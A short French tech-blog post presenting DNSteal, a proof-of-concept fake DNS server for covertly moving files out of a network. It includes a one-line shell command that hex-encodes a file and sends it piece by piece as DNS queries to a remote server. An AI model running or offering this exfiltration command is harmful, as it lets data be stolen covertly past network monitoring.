Overblog Suivre ce blog
Editer l'article Administration Créer mon blog
Journal des TIC

Comment Transférer des fichiers de manière très discrete

22 Octobre 2015 , Rédigé par Techno-futur Publié dans #securite, #news

 

Voici un proof of concept intéressant qui s'appelle DNSteal et qui permet de transférer des documents via le net, de manière très discrète en utilisant le protocole DNS. DNSteal est un script python qui fait office de faux serveur DNS et qui peut recevoir en entrée des fichiers.

Une fois en place, il suffit par exemple de lancer la commande suivante pour transférer l'image send.png au faux serveur DNS.

for b in $(xxd -p file/to/send.png); do dig @server $b.filename.com; done

C'est plutôt rigolo non ?

 

DNSteal supporte aussi le transfert multi-fichiers et la compression de ceux-ci. Son développeur s'est fait plaisir :)

Si vous voulez plus d'infos, c'est sur Github que ça se passe.

Commenter cet article